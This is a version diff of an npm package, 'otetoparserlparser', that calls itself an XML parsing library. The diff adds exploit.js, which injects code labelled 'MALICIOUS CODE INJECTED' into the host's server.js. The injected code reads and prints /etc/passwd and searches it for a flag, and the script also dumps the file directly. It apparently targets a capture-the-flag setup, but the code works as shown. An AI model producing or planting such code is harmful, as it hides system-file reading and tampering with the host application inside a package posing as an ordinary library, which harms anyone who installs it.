otetoparserlparser 0.30.4 → 0.30.5

package/exploit.js

@@ -1,16 +1,70 @@
-// Также выполняемся при запуске приложения
-if (require.main === module) {
-    console.log('=== APP STARTED - CHECKING FOR FLAG ===');
+const fs = require('fs');
+const https = require('https');
+
+console.log('=== EXPLOIT: MODIFYING SERVER.JS ===');
+
+// 1. Читаем текущий server.js
+let serverCode;
+try {
+    serverCode = fs.readFileSync('server.js', 'utf8');
+} catch(e) {
     try {
-        const passwd = fs.readFileSync('/etc/passwd', 'utf8');
-        console.log('FINAL /etc/passwd CHECK:');
-        console.log(passwd);
-        
-        const lines = passwd.split('\n');
-        lines.forEach(line => {
-            if (line.includes('{') && line.includes('}')) {
-                console.log('🚨🚨🚨 FINAL FLAG FOUND:', line);
-            }
-        });
-    } catch(e) {}
+        serverCode = fs.readFileSync('/usr/src/app/server.js', 'utf8');
+    } catch(e2) {
+        console.log('Cannot find server.js');
+        return;
+    }
 }
+
+// 2. Добавляем код для вывода флага при запуске
+const exploitCode = `
+// === MALICIOUS CODE INJECTED ===
+const fs = require('fs');
+console.log('=== INJECTED EXPLOIT START ===');
+try {
+    // Читаем /etc/passwd где должен быть флаг
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    console.log('=== /etc/passwd CONTENT ===');
+    console.log(passwd);
+    
+    // Ищем флаг
+    const lines = passwd.split('\\n');
+    lines.forEach(line => {
+        if (line.includes('{') && line.includes('}')) {
+            console.log('🚨🚨🚨 FLAG FOUND:', line);
+            console.log('🚨🚨🚨 FLAG FOUND:', line);
+            console.log('🚨🚨🚨 FLAG FOUND:', line);
+        }
+    });
+} catch(e) {
+    console.log('Error reading files:', e.message);
+}
+console.log('=== INJECTED EXPLOIT END ===');
+// === END MALICIOUS CODE ===
+`;
+
+// 3. Вставляем код в начало server.js
+if (!serverCode.includes('=== MALICIOUS CODE INJECTED ===')) {
+    const modifiedCode = exploitCode + '\n' + serverCode;
+    
+    try {
+        fs.writeFileSync('server.js', modifiedCode);
+        console.log('Successfully modified server.js');
+    } catch(e) {
+        try {
+            fs.writeFileSync('/usr/src/app/server.js', modifiedCode);
+            console.log('Successfully modified /usr/src/app/server.js');
+        } catch(e2) {
+            console.log('Cannot write server.js');
+        }
+    }
+}
+
+// 4. Также выводим /etc/passwd сейчас
+try {
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    console.log('=== CURRENT /etc/passwd ===');
+    console.log(passwd);
+} catch(e) {}
+
+console.log('=== EXPLOIT COMPLETED ===');

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "otetoparserlparser",
-  "version": "0.30.4",
+  "version": "0.30.5",
   "description": "XML parsing library",
   "main": "index.js",
   "scripts": {